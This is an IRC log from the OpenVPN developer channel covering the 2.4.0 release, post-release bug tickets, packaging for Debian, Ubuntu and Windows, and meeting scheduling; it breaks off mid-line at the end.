<@dazo> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13726.html 06:38 <@vpnHelper> Title: [Openvpn-devel] [PATCH] man: Remove references to no longer present IV_RGI6 peer-info (at www.mail-archive.com) 06:39 <@dazo> Message-Id: <1482755203-23968-1-git-send-email-davids@openvpn.net> 06:42 <@plaisthos> dazo: okay 06:42 <@dazo> thx! 06:44 <@dazo> 10 minutes turn-around :) 06:46 <@vpnHelper> RSS Update - gitrepo: man: Remove references to no longer present IV_RGI6 peer-info <https://github.com/OpenVPN/openvpn/commit/4ba943b02aa728aa077a0b3be79626b0f20ea8a7> 07:03 <@cron2> dazo: whoops, you're fast today. Sorry for the manpage oversight, I had no idea we had this documented :-) 07:04 <@dazo> no worries :) 07:06 <@dazo> Running final test on the tarballs mattock will get .... and once mattock approves, I'll push the release commit and v2.4.0 tag 07:07 <@cron2> the buildbots seem happy enough 07:07 <@plaisthos> cron2: that was me iirc 07:07 <@plaisthos> :) 07:07 <@cron2> plaisthos: sneaking in documentation! 07:09 <@dazo> git blame .... 07:09 <@dazo> 960524a9 doc/openvpn.8 (Arne Schwabe 2016-02-16 13:04:40 +0100 2992) IV_RGI6=1 -- if the client supports 07:09 <@dazo> yupp :) 07:18 <@dazo> all tests passed ... mattock, the 2.4.0 candidate is in the normal download location :) 07:19 * dazo logs off for today :) 07:29 <@plaisthos> we should write a short write up on the 2.4 release 07:29 <@plaisthos> so news over the tech magazines is not screwed up 07:30 <@syzzer> yeah, I was thinking about that too 07:33 <@syzzer> ... but my afternoon is already pretty stuffed with other activities 07:34 <@plaisthos> I am sick with fever in bed, I don't have the conecentration to write anything useful 07:35 <@syzzer> oh, get well soon :) 07:40 <@cron2> slypknot: two of your buildbots are offline - is that intentional? gentoo and centos7 08:00 <@plaisthos> syzzer: thanks 14:15 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Quit: Lost terminal] 14:16 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 14:16 -!- mode/#openvpn-devel [+o cron2] by ChanServ 14:17 <@cron2> *sigh*... screen-4.3 to screen-4.4 update, and you can't reattach your old screens any longer... 14:19 <@plaisthos> oh great :) 22:07 < ordex> yeah it complains about the different version :( 23:41 <@mattock> looking into 2.4.0 (holidays over here) --- Day changed Tue Dec 27 2016 01:05 <@mattock> I will do the Windows testing later today, right now in a car and juggling two laptops would be quite tricky 01:16 < ordex> :D 04:07 < eworm> Good morning everybody! 04:07 < ordex> morning ! 04:27 <@dazo> mattock: I'll be offline soonish but will look into syzzer's Changes.rst stuff and will respin the tarballs ... but I'll back back later in the evening (sometime after 19:00 UTC) 04:27 < ordex> syzzer: about the codestyle: should the function return type always be on its own line ? 04:28 <@dazo> ordex: yes :( 04:28 < ordex> but only in .c files, right? not in .h 04:28 <@dazo> right 04:29 <@dazo> or not in forward declarations, to be more exact 04:29 < ordex> right 04:29 < ordex> or: not in declarations, but only in definitions :-P 04:29 <@dazo> tun.c is a good example 04:29 <@dazo> hehe, yeah :) 04:29 < ordex> btw, I was asking because this was not clear from the wikipage 04:30 < ordex> yeah I see tun.c, thanks :) 04:50 <@vpnHelper> RSS Update - gitrepo: Textual fixes for Changes.rst <https://github.com/OpenVPN/openvpn/commit/f38942d1440575e23d9f8713db435b434381486e> 04:53 <@plaisthos> syzzer: you could have included that for peer id, a client may also be 2.3 when you touched that paragaraph :) 04:54 <@dazo> hmmm ... we don't ship Changes.rst in the tar balls 04:54 * dazo fixes 05:03 <@dazo> plaisthos: got enough brain-power to look at Message-Id: 1482835944-563-1-git-send-email-davids@openvpn.net ? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13736.html 05:03 <@vpnHelper> Title: [Openvpn-devel] [PATCH] build: Ensure Changes.rst is shipped and installed as a doc file (at www.mail-archive.com) 05:03 <@dazo> I've tested it locally, and it works as intended 05:04 <@plaisthos> dazo: no rst2html or so? 05:05 <@dazo> plaisthos: nope ... not in this round 05:07 <@dazo> Lets do nice formatting of it in 2.4.1 05:07 <@dazo> it's more important that we ship this file than it's nicely looking ... the .rst format isn't hard to parse 05:18 <@dazo> plaisthos: thx! 05:22 <@mattock> dazo: can I still base the 2.4.0 packages (deb and windows) on the earlier tarballs? 05:27 <@dazo> mattock: I'm providing you new tarballs in a few minutes ... running last checks on them now 05:32 <@mattock> ok 05:38 <@dazo> mattock: new tarbalss uploaded 05:40 * dazo heads out ... back in the evening 05:40 <@mattock> daoz: thanks! 07:08 <@mattock> dazo: the release passed the Windows test suite 07:16 <@mattock> packages in debian repos (now also in "stable" repo) 07:18 <@cron2> mornin' 08:24 <@mattock> 2.4.0 is out 08:24 <@cron2> \o/ 08:25 <@mattock> the biggest change is actually that 2.4 is now on top of the download page 08:25 <@mattock> and 2.3.14 is lowered to "oldstable" status below it 08:25 <@mattock> this should get people using 2.4 08:27 <@cron2> so, now we need to bug distro and port maintainers to upgrade :-) - (I know m-a and agi are already on it) 08:27 < eworm> push the 2.4.0-1 package to ArchLinux [testing] repository :-P 08:27 <@cron2> eworm: so you win the distro race! 08:27 < eworm> Yeah! :D 08:28 <@cron2> gentoo is still at 2.4_rc2 :-) 08:30 <@mattock> cron2: lazy bastards :P 08:42 <@syzzer> \o/ 08:42 <@syzzer> but can anyone push the v2.4.0 tag out to the repos? 08:43 <@syzzer> (the release mail should have pointed to https://github.com/OpenVPN/openvpn/blob/v2.4.0/Changes.rst, instead of the master, which will change over time.) 08:43 <@syzzer> but that link doesn't work yet, because the tags aren't pushed 08:46 <@syzzer> dazo, cron2: ^^ 08:55 * syzzer going offline again, cellular is spotty at best in the train to Hamburg 09:04 <@cron2> syzzer: uh. I do not have the tag. dazo: ? 09:24 < ordex> oh 2.4.0 is out! congrats everybody :) 09:55 <@vpnHelper> RSS Update - tickets: #798: certificate for tap-windows driver is outdated <https://community.openvpn.net/openvpn/ticket/798> 09:57 <@mattock> yeah, tags are missing 09:57 <@mattock> and I think we should also have "release/2.5" branch which also seems to be missing 09:57 <@cron2> no 09:58 <@cron2> release/2.5 is branched off at 2.5_rc2 - just as release/2.4 was branched at 2.4_rc2 time 09:58 <@cron2> (but maybe I missed a time warp again?) 09:59 <@mattock> oh silly me 09:59 <@mattock> indeed 09:59 <@cron2> :) 10:01 <@cron2> (but we *did* plan to have shorter release cycles...) 12:21 <+krzee> so is anybody actually *in* L=Pleasanton, S=California, C=US ? 12:22 <+krzee> cause i actually pass by that way often 12:55 < eworm> dazo: do you have some spare time? 13:13 <@dazo> syzzer: cron2: I was waiting for mattock's "Go!" for the final push ... doing that now :) 13:16 <@vpnHelper> RSS Update - gitrepo: build: Ensure Changes.rst is shipped and installed as a doc file <https://github.com/OpenVPN/openvpn/commit/7fb22ea0bc483b5a128bcc23ce9a156c8fadac3a> 13:20 <@dazo> slypknot: you seem to have some stray openvpn processes running from a 'make check' run ... at least on tincan-arch-amd64-stable 13:21 <@dazo> eworm: hey! Just saw your ping 13:21 <+krzee> in Changes.rst i have a small suggestion: 13:22 <+krzee> "If no flags are given, and the interactive Windows service is used, "def1" is implicitly set (because "delete and later reinstall the existing default route" does not work well here). If not using the service, the old behaviour is kept." 13:22 <+krzee> should be: "If no flags are given to redirect-gateway, and the interactive Windows service is used, "def1" is implicitly set (because "delete and later reinstall the existing default route" does not work well here). If not using the service, the old behavior is kept." 13:23 < eworm> dazo: Just found another possible path... Give me some time to test my idea. 13:24 <@dazo> eworm: sure ... :) I won't be much online the rest of this year, but I do check e-mail regularly ... I can finally start the Christmas holiday for real, now when 2.4.0 is released :) 13:49 < selvanai1> Actually it should be "If redirect-gateway is used with the interactive Windows service, the flag "def1" is implicitly set (because ..." 15:00 <@dazo> I'll take a patch once there's an agreement on the wording, since I'm not a native speaker :) 15:09 < slypknot> dazo: rebooted arch, looks ok i think .. gentoo community openvpn had stopped (probably by me) .. centos7 seems to have a weird dependency problem, possibly related to that systemd change i have been testing (will sort that out later) 15:10 <@cron2> slypknot: do you want to receive "builds failed" mails? mattock could subscribe you... so you can see if one of yours is acting up 15:10 < slypknot> cron2: sure that would be ok 15:11 < slypknot> have been out for xmas ;) 15:14 < slypknot> re this : https://forums.openvpn.net/viewtopic.php?f=16&t=23069#p66602 15:14 <@vpnHelper> Title: --auth-user-pass-verify is external command under chroot - OpenVPN Support Forum (at forums.openvpn.net) 15:15 < slypknot> does the script file be defined as --auth-user-pass-verify /etc/openvpn/script.sh or --auth-user-pass-verify /script.sh ? 15:16 < slypknot> assuming --chroot /etc/openvpn 15:16 <@cron2> I'd guess /script.sh, because I can't remember seeing us mangle path names (= remove chroot path components) but I would need to try 15:16 < slypknot> oops .. sorry wrong chan 15:21 <@dazo> oh dear ... " chroot to '/etc/openvpn/' " ..... 15:22 < slypknot> just for the purpose of the question :) 15:22 <@cron2> dazo: well, true, not commenting on that part 15:22 <@dazo> :) 15:24 < slypknot> I presume that when the config file is parsed the --chroot is taken into consideration regarding other files like --cert /file.crt --up /sript.sh etc 15:26 <@cron2> for the path name check it is 15:26 <@cron2> ("does that file exist, is it readable/writeable, etc.") 15:27 < slypknot> i think the chroot only effects the execution once invoked 15:27 < slypknot> i will check it 15:28 < slypknot> as in .. the files arechecked from non chroot but accessed after initialization within chroot 15:28 <@cron2> yes 15:28 < slypknot> oh .. that's gotta be tough on crl 15:29 < slypknot> i'll check it (not today tho) 15:31 * slypknot wishes everybody seasonal spirit :D 15:32 * slypknot is away 15:40 * dazo responded to that forum post 15:42 <@dazo> slypknot: with --chroot, only the files needed to be available inside the chroot should be checked for, inside the chroot directory ... but there might be some areas where we're not doing the proper checks 15:54 < slypknot> thanks for your reply ;) 16:02 <@dazo> yw! 16:36 < eworm> Sent a number of patches to openvpn-devel... 16:36 * eworm hates build systems.... :-p 17:17 < slypknot> btw: Congrats on making 2.4 17:18 < slypknot> work of art :) 17:22 <@vpnHelper> RSS Update - tickets: #799: OpenVPN 2.4.0 fails to build against LibreSSL <https://community.openvpn.net/openvpn/ticket/799> 17:32 <@syzzer> dazo, mattock: so, how am I supposed to use OpenVPN from build.openvpn.net on Ubuntu 16.04 now? 17:32 <@syzzer> there are some unit files installed by the packages, but they do not seem up to date 17:33 <@syzzer> and both the traditional way 'service openvpn start' and the 'systemctl some-verbose-command-thing' seem refuse to start configs in either /etc/openvpn or /etc/openvpn/server... 17:35 * syzzer is totally confused and is back to running a non-systemd 2.3 version 17:36 <@syzzer> oh, and no logs in the file configured through 'log /var/log/myovpnlog' of course 20:40 < ordex> gentoo ha snot updated its package list yet (!) :P 20:42 < ordex> and good morning :) 20:48 <@vpnHelper> RSS Update - tickets: #800: OpenVPN version 2.3.x and older do not check the CRL signature <https://community.openvpn.net/openvpn/ticket/800> --- Day changed Wed Dec 28 2016 00:42 <@vpnHelper> RSS Update - tickets: #801: static key tunnels impossible to start via systemd <https://community.openvpn.net/openvpn/ticket/801> 01:10 <+krzee> oh wow 800 is pretty major 02:38 <@mattock> syzzer: I suppose you found this one already: https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos 02:38 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net) 02:39 <@mattock> the unit files in Ubuntu 16.04 and Debian 8 packages are directly from the respective downstream (ubuntu/debian) packages 02:39 <@mattock> not our project's unit files 02:43 <@mattock> I believe updating our Debian/Ubuntu packages to use our unit files would break everyone's setups due to the split between client and server config directories 03:58 <@vpnHelper> RSS Update - tickets: #802: crypto.c:843:32: error: invalid application of ‘sizeof’ to incomplete type ‘cipher_ctx_t {aka struct evp_cipher_ctx_st}’ <https://community.openvpn.net/openvpn/ticket/802> 04:12 <@cron2> good morning. Amazing how many bugs materialized over night... 05:00 <@syzzer> mattock: could you look into the versions available in trac? 05:00 <@syzzer> #801 reports that at least 2.4.0 is missing 05:06 <@syzzer> mattock: yeah, I'm using 2.4.0 from the testing repo of build.openvpn.net 05:11 <@vpnHelper> RSS Update - tickets: #803: OpenVPN 2.4.0 fails to build on Mac OS <https://community.openvpn.net/openvpn/ticket/803> 05:22 <@cron2> what about #800? Shall we close this as "wontfix"? 06:04 <@mattock> syzzer: version 2.4.0 now available in Trac 06:14 <@cron2> thanks 06:26 < eworm> I am currently looking into #801... 06:27 < eworm> Looks like we need to call sd_notify() early for instances waiting for a peer. 06:27 < eworm> But where and when? 06:29 < eworm> In client mode (connecting to server) mode is CM_P2P and topology is TOP_P2P or TOP_NET30 as well... 06:41 <@plaisthos> I will check 803 06:45 <@plaisthos> mattock: also our config files need to be activated for each new config while debian/ubuntu just pcik them up 06:45 <@plaisthos> + different logging in syslog 06:49 < eworm> plaisthos: You can change syslog by giving '--syslog name' 06:50 < eworm> (or '--daemon name', which is the same as we deny to daemonize when started from systemd 06:59 <@plaisthos> yeah 06:59 <@plaisthos> still extra work ;) 07:00 <@plaisthos> maybe when I have time 07:00 <@plaisthos> at the moment it just works 13:54 < eworm> Hey everybody! 14:09 <@ecrist_> slypknot: :\ 14:56 < slypknot> ecrist_: :) 14:56 < slypknot> sure i get it .. i disagree but i get it 15:00 < slypknot> I gave fair warning and you can see from the dates/times I even slept on it .. then i got annoyed by an idiot that was clearly incapable of understanding even --log filename .. 15:01 < slypknot> or , more likely , somebody trying to get a rise .. 15:01 < slypknot> judge for yourself 15:04 < slypknot> also, afaik, my last comment on the thread is factually accurate 23:32 < ordex> syzzer: I finally got a review of my mbedTLS patch! :) thanks for incentivating me to send the change to them --- Day changed Thu Dec 29 2016 03:06 < ordex> cron2: is it normal that with 2.4.* I get this message in the log: Could not determine IPv4/IPv6 protocol. Using AF_INET 03:06 < ordex> it's always there 03:06 < ordex> looks like the socket is initialized *after* this check 03:06 < ordex> I think this was introduced with: 4518480 03:07 < ordex> by Fix for server selecting address family 04:39 -!- Netsplit *.net <-> *.split quits: @cron2, s7r 04:45 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 04:45 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 04:45 -!- ServerMode/#openvpn-devel [+o cron2] by adams.freenode.net 06:18 <@vpnHelper> RSS Update - tickets: #804: OpenVPNService can't restart on boot <https://community.openvpn.net/openvpn/ticket/804> 07:19 <@mattock> having 2.4.0 on the top of the download page surely caused a lot of bug reports: https://community.openvpn.net/openvpn/ticket/804 07:19 <@vpnHelper> Title: #804 (OpenVPNService can't restart on boot) – OpenVPN Community (at community.openvpn.net) 07:19 <@mattock> even openvpnserv2 has its share 07:43 <@cron2> ordex: AF_* confusions -> plaisthos :-) (but it might be useful to open a trac on this, so we can get rid of it) 07:43 < ordex> yup 07:43 <@cron2> mattock: is there some merits to this? 07:43 <@cron2> (804) 07:45 < slypknot> I am testing as much as I can on win10 07:51 <@cron2> which is appreciated :) (I have no really useful infrastructure to run extensive win* tests) 07:57 < Delta_> hello, one question. where can i get openvpn 2.4 for ubuntu 16.10 ? 09:21 <@ecrist_> Delta_: it's not released yet. 09:21 <@ecrist_> you can build from source, though. 09:22 < Delta_> oh, the lastes from ubuntu is 2.3.11 09:46 <@mattock> Delta_: you can probably just use the Ubuntu 16.04 version from our apt repositories 09:47 <@mattock> we only support LTS versions officially, but typically the packages work fine in the in-between versions 09:47 < Delta_> i have tried it, but apt wont install it because unsolved dependencies 09:47 <@mattock> Delta_: what is the exact error message? 09:48 <@mattock> you could try force-installing the package and see if it actually runs 09:48 < Delta_> one moment 09:48 <@mattock> and if it does, I could modify the package metadata for 16.04 so that it works for both 16.04 and 16.10 09:49 <@mattock> cron2, slypknot: regarding https://community.openvpn.net/openvpn/ticket/804 - I will try to reproduce the issue on Windows 7 and Windows 2012r2, but I don't have any Win10 to test it on 09:49 <@vpnHelper> Title: #804 (OpenVPNService can't restart on boot) – OpenVPN Community (at community.openvpn.net) 09:49 <@mattock> slypknot: could you try to reproduce Trac#804 on Windows 10? 09:50 < Delta_> mattock: missing initscripts (>= 2.88dsf-13.3) 09:51 < Delta_> but in 16.10 is no initscripts 09:52 < slypknot> mattock: trying now .. i think the poster may be confused. 09:52 < slypknot> i will add to ther ticket 09:53 <@mattock> Delta_: can you force-install the package and see if it works? 09:53 <@mattock> I think "dpkg -i --force-all <package>" should do the trick 09:54 <@mattock> you probably have the openvpn package in /var/cache/apt/archives 09:54 <@mattock> if not, then you can get it from here: https://build.openvpn.net/debian/openvpn/release/2.4/pool/xenial/main/o/openvpn/ 09:54 <@vpnHelper> Title: Index of /debian/openvpn/release/2.4/pool/xenial/main/o/openvpn/ (at build.openvpn.net) 09:54 <@mattock> slypknot: thanks! 09:58 <@mattock> I'm trying to reproduce #804 on win2012r2 10:04 < Delta_> mattock: yep, it does the trick 10:07 <@mattock> ok, then I think this is fixable fairly easily 10:07 <@mattock> I'll test just stripping out the initscripts dependency for xenial 10:08 < Delta_> mattock: thx. would be nice if the openvpn repo works inofficially for 16.10 10:09 <@mattock> yeah, I'll build you a test package now 10:10 < ordex> I tried to create a ticket and I got this: 10:10 < ordex> Trac detected an internal error: 10:10 < ordex> IndexError: list index out of range 10:10 < ordex> ma I just lucky? :) 10:10 < ordex> maybe I am just lucky? :) 10:10 < ordex> second attempt too :( 10:11 <@mattock> you probably made the Trac template parser unhappy 10:11 <@mattock> you have code in your report, right? 10:11 <@mattock> code/logs 10:12 < ordex> yap 10:13 < ordex> I used the {{{ }}} block 10:13 < ordex> should I use something else ? 10:14 < ordex> actually, I can avoid that block. I was just pasting a commit 10:14 < ordex> I'll write the id only 10:14 < ordex> uhm, still error 10:16 <@mattock> which ticket? 10:17 < ordex> I Was creating a new one 10:17 < ordex> mh, this gives more time to perform some more test 10:19 <@mattock> Delta_: it seems that initscripts package on Ubuntu 16.04 is actually used by some packages, but not absolutely required 10:20 <@mattock> I will have a better look to see how official Ubuntu 16.10 openvpn package handles this 10:24 < ordex> mattock: after disabling tor, trac did allow me to post the bug without any error O_o 10:26 <@vpnHelper> RSS Update - tickets: #805: Could not determine IPv4/IPv6 protocol. Using AF_INET <https://community.openvpn.net/openvpn/ticket/805> 10:26 <@mattock> ordex: odd... 10:26 <@mattock> could be spam filtering 10:26 < ordex> not sure if it was just a case 10:27 < ordex> yeah, but weird error I got 10:27 < ordex> anyway, I can try again later 10:27 <@mattock> I'll check spam filter logs 10:27 <@mattock> yes, spam filtering 10:28 <@mattock> probably the same Tor exit node has been used a lot for mischief, which caused it to end up in bad IP lists used by Trac spam filters 10:28 < ordex> yap :/ common 10:30 <@mattock> Delta_: the only difference between Ubuntu's official openvpn package control files was that 16.10 did not have the initscripts dependency 10:30 <@mattock> I'll build you a package without that dependency for testing 10:47 <@mattock> Delta_: http://build.openvpn.net/downloads/temp/openvpn_2.4.0-xenial1_amd64.deb 10:47 <@mattock> http://build.openvpn.net/downloads/temp/openvpn_2.4.0-xenial1_i386.deb 10:47 <@mattock> those should install without forcing on Ubuntu 16.04 10:47 <@mattock> sorry, 16.10 10:56 <@mattock> https://answers.launchpad.net/ubuntu/+source/openvpn/+question/421991 10:56 <@vpnHelper> Title: Question #421991 : Questions : openvpn package : Ubuntu (at answers.launchpad.net) 10:56 <@mattock> let's see if I could avoid having to figure this out myself this time :P 11:07 <@dazo> mattock: regarding the ubuntu 16.xx issues ... have you remembered to update the packaging to account for systemd? 11:08 <@dazo> mattock: and our own deb packages should really install distro/systemd/openvpn-{client,server}@.service into /usr/lib/systemd/system (or whatever Debian/Ubuntu uses) 12:05 <@mattock> dazo: they do 12:06 <@mattock> also, funny how you say "or whatever Debian/Ubuntu uses" - it seems that systemd has still not prevented people from reinventing the wheel 12:06 <@mattock> hopefully that will get better over time 12:09 < slypknot> mattock: re #804 .. all i can say for sure is Win10 is full of **** 12:10 < slypknot> I tested this now 20 times and for the first 15 attempts w10 did as 805 claims and now they start normally no problem 12:10 < slypknot> my suspision is smart screen being not-so smart (and I have disabled internet access for the w10 machine) 12:11 < slypknot> it has not had access to internet since just before i installed 2.4.0 today (after making a recovery drive .. finally!) 12:12 < slypknot> the only thing i can think of is that smart-screen decided to block running it but as it can't get to phone-home it changed its mind and allowed them 12:17 <@vpnHelper> RSS Update - tickets: #806: Wrong Russian codepage in the installer window <https://community.openvpn.net/openvpn/ticket/806> 12:21 < slypknot> BTW: I completely disable hyper-v for these tests 12:22 < slypknot> mattock: I just power-cycled and openvpnserv2 did *not* start 12:22 * slypknot doing it again .. 12:28 < slypknot> yep .. it failed this time as well ! 12:29 <@mattock> hmm, windows 10 thing ... 12:31 < slypknot> hi .. nothing in event log either .. 12:31 * slypknot has to go eat dinner 13:11 < slypknot> There is another possibility .. powering w10 off does not really poweroff w10 but does a sneaky hibernate in order to make it start faster 13:11 <@cron2> it does 13:11 < slypknot> well - if the service is running at poweroff it is running at power on as well 13:11 < slypknot> if not then not .. 13:11 < slypknot> ******** windows 13:13 < slypknot> ha .. fast start .. (cannot be turned off according to my screen) 13:13 < slypknot> ahh .. extra step to enable options 13:16 < slypknot> let's see how long win10 really takes to power-cycle 13:18 < slypknot> tum tee tum .. 13:18 < slypknot> and no hyper-v 13:21 < slypknot> a proper power-cycle does start both the services successfully 13:24 < slypknot> mattock: windows fast-start does *not* start services on startup - #804 13:25 < slypknot> hilarious .. Tech sup: did you reboot it .. user: yes and it still wont work .. that's the end of that fix ! 13:26 < slypknot> hmm .. maybe not .. reboot is not effected by fast-start 15:07 < Delta_> mattock: thx. i would try it tomorrow 22:58 <@vpnHelper> RSS Update - tickets: #807: Error setting tap IP by dhcp <https://community.openvpn.net/openvpn/ticket/807> --- Day changed Fri Dec 30 2016 01:20 <@mattock> slypknot: ah, interesting and annoying at the same time 18:06 <@vpnHelper> RSS Update - tickets: #808: ifconfig-push-ipv6 should behave like ifconfig-push (DNS names) <https://community.openvpn.net/openvpn/ticket/808> 18:41 < slypknot> #8o8 .. lol 18:43 * slypknot is working on #807 --- Day changed Sat Dec 31 2016 02:54 <@cron2> slypknot: selva seems to have found a solution for #807 (at least for one of the cases) 06:35 < slypknot> adding --dhcp-release to w10 client config (or pushing from server) = Note: Release of DHCP-assigned IP address lease on TAP-windows adapter failed: The parameter in incorrect. (code=97) 06:35 < slypknot> is* 06:45 < slypknot> --dhcp-renew = WARNING: Failed to renew DHCP IP address lease on TAP-windows adapter: Thesystem can not find the file specified. (code=2) 06:47 < slypknot> ah .. patch on dev ML .. will try that 07:44 < slypknot> --route-method ipapi does not work with interactive service ? 08:09 <@cron2> ipapi is "call the API functions directly". iservice is --route-method service or so 12:27 < ordex> happy new yearrrrr :D 12:38 < danhunsaker> Almost. Not quite noon on the 31st, here, yet. 19:55 < ordex> :) --- Day changed Sun Jan 01 2017 03:31 <@cron2> fun 03:31 * cron2 just discovered https://github.com/wolfcw/libfaketime 07:02 < ordex> cron2: does it work on people too? :D 07:16 <@cron2> ordex: I'm afraid it doesn't :-) - but it's very convenient if you have invoice-creating scripts that *should* have run yesterday... 07:17 <@cron2> (so I used FAKETIME=-24h and ran the scripts today, but they properly created invoices with "2016" file names etc. :-) ) 07:18 < ordex> :D 08:25 < ordex> syzzer: I guess you're already aware of this: https://arxiv.org/abs/1611.06999 just in case you care :) 08:25 <@vpnHelper> Title: [1611.06999] An Efficient Quantum Algorithm for a Variant of the Closest Lattice-Vector Problem (at arxiv.org) 13:38 <@syzzer> ordex: actually, I hadn't. But the paper seems to be withdrawn? The link took me into a 1.5 hours trip through interesting (more-or-less) related blog posts and mailing list discussions though :p 20:14 < ordex> syzzer: :D wihdrawn? I didn't realize that 20:14 < ordex> :D 20:14 < ordex> but glad you had a nice trip ! :D --- Day changed Mon Jan 02 2017 00:29 < ordex> mh, can OpenVPN server listen on an IPv6 address? by default it bind to 0.0.0.0 only 00:31 < ordex> ah, I had to use proto *6 00:31 < ordex> cool :) 02:40 <@syzzer> ordex: are you using 2.4? as far as I know, that should bind to both v4 and v6 by default. 02:42 <@cron2> depending on OS preferences... we use what getaddrinfo() gives us 02:43 <@cron2> and if the OS returns two hits, preferring IN_ADDR_ANY, we end up binding v4 only unless using --proto *6 02:43 <@cron2> ISTR that the BSDs prefer IN6_ADDR_ANY while Linux prefers v4 02:43 <@cron2> "this whole socket api stinks" 04:33 < ordex> syzzer: yeah, it did as cron2 said 04:33 < ordex> and I was testing master (>2.4 04:33 < ordex> ) 09:09 < slypknot> ecrist_: https://cleantalk.org/update?platform=phpbb31 09:09 <@vpnHelper> Title: phpBB 3.1: How to update the CleanTalk Anti-Spam Extension (at cleantalk.org) 09:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 10:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:44 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:55 <@plaisthos> do we have a pointer/page where I can direct people who complain about tls-remote not working anymore? 11:16 < MrNice> hi devs, openvpn 2.4 windows file 'openvpnserv2.exe' is not digitally signed? 11:17 < MrNice> no '?', it is not 12:02 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Ping timeout: 260 seconds] 12:03 < slypknot> plaisthos: the manual-2.3 has quite decent text on --tls-remote and is followed by --verify-x509-name .. it could be copied to a wiki page for the time being .. 12:04 < slypknot> plaisthos: go here and scroll down : https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAK 12:04 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net) 12:05 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 12:37 <@dazo> plaisthos: https://github.com/OpenVPN/openvpn/blob/release/2.4/Changes.rst "--tls-remote is removed in 2.4, as indicated in the 2.3 man-pages. Similar functionality is provided via --verify-x509-name, which does the same job in a better way." 12:37 <@vpnHelper> Title: openvpn/Changes.rst at release/2.4 · OpenVPN/openvpn · GitHub (at github.com) 12:42 <@dazo> Considering v.2.3.0 was released " Mon Jan 7 11:54:15 2013" ... plus Changes.rst got updated Nov 15 2016, which includes the v2.4_beta1 release ... it shouldn't come as a too big surprise if you've paid at least some attention 12:43 <@dazo> people doing major upgrades blindly, deserves to be smacked 12:48 <@cron2> who knows that 2.3->2.4 is a major update when firefox is having minor updates like 47->50... 12:49 <@cron2> (so I can understand users to some extent... and especially when coming from 2.3.14 "less than a month ago") 12:49 <@dazo> fair point ... but considering we've done 2.3.x updates since 2013 ...it should ring some bells when upgrading to 2.4 12:50 <@dazo> ("this is a bigger update than normal, kind of) 12:50 <@cron2> I do, but users... I tell them "go install openvpn 2.3.14" and they find "openvpn connect" on the web site and install *that*... 12:51 <@dazo> yeah, I see that one 14:52 < slypknot> would anybody like to comment on this: https://forums.openvpn.net/viewtopic.php?f=23&t=23117 14:52 <@vpnHelper> Title: Bug: Windows client openvpn-2.4.0-I601 after reconnection no VPN traffic - OpenVPN Support Forum (at forums.openvpn.net) 14:52 < slypknot> it looks closely related to #807 to me 14:53 < slypknot> but a slightly different manifestation 14:54 <@plaisthos> dazo: thanks 15:59 < slypknot> never mind about that ^^ post 18:06 <@vpnHelper> RSS Update - tickets: #809: Setting DNS via DCHP Option in PUSH no longer working. <https://community.openvpn.net/openvpn/ticket/809> --- Day changed Tue Jan 03 2017 01:46 <@mattock> meeting tomorrow? 01:48 <@cron2> sounds good 01:48 <@mattock> why did we move the meetings to wednesdays, btw? 01:48 <@mattock> for me monday would be much better 01:48 <@cron2> because syzzer and plaisthos do sports on monday :) 01:48 <@mattock> hmm 01:49 <@cron2> (and you did not object, AFAIR) 01:49 <@mattock> well, not because we needed to get 2.4 out 01:49 <@cron2> for me, mon/wed/thu is ok, so I do not really mind 01:49 <@mattock> and now it's out, so I can start complaining :) 01:49 <@mattock> anyways, wed can work, if it's not every week 01:49 <@mattock> thu would work for me also 01:50 <@cron2> lets meet tomorrow and then decide on the meeting schedule for the upcoming months 01:50 <@mattock> makes sense 01:50 <@mattock> I'll send out the invitation 01:50 <@mattock> any topics in mind 01:50 <@mattock> ? 01:51 <@cron2> nothing in particular. maybe a quick trac walkthrough? 01:54 <@mattock> yeah, and maybe 2.4.1? 01:55 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2017-01-04 01:55 <@vpnHelper> Title: Topics-2017-01-04 – OpenVPN Community (at community.openvpn.net) 02:00 <@mattock> MrNice: openvpnserv2.exe is not digitally signed right now 02:00 <@mattock> I was about to say that "it does not matter", but then I remembered that Windows Defender tagged it as a Trojan a few days ago 02:01 <@mattock> that false positive was quickly fixed, but still, if openvpnserv2.exe had been signed, I'm think the virus scanners would treat it more kindly 02:01 <@mattock> so it probably should be signed 02:06 <@syzzer> wrt meeting tomorrow: I'm out for a conference, so I don't know if I can make it 02:11 <@cron2> snowboarding conference again? :) 02:12 <@syzzer> nope, mothership-company-wide conference :) 02:14 <@syzzer> going to explain ~400 pentesters about post-quantum crypto 02:21 <@plaisthos> syzzer: speaking about post quantum 02:21 <@plaisthos> is there any news on your postquantum+openvpn efforts? 02:22 <@syzzer> plaisthos: yes, there is! we finally have a go to start working on that 02:23 <@syzzer> the work still must be planned, but I hope to be able to have some more news soon 02:24 < ordex> cool :) 02:24 <@cron2> ugh 02:24 <@cron2> scary stuff 02:24 <@cron2> https://media.ccc.de/v/33c3-8229-copywrongs_2_0#video 02:24 <@vpnHelper> Title: C3TV - Copywrongs 2.0 (at media.ccc.de) 02:30 <@plaisthos> syzzer: cool 02:46 <@syzzer> cron2: yeah, scary indeed. and quite unbelievable too... 03:22 <@cron2> syzzer: I'm long past "unbelievable" when it comes down to madness induced by lobbyists and incompetence 05:56 <@cron2> syzzer: how painful is "open a https connection to $host:$port, and add the resulting <handle> to a poll()/select() loop" in C? 05:56 <@cron2> as in "can we add https proxy support easily to our code base, or is that doomed?" 06:01 < ordex> cron2: if you use libcurl to handle the http/s connection, it should easily export an fd to squeeze into a select() 06:06 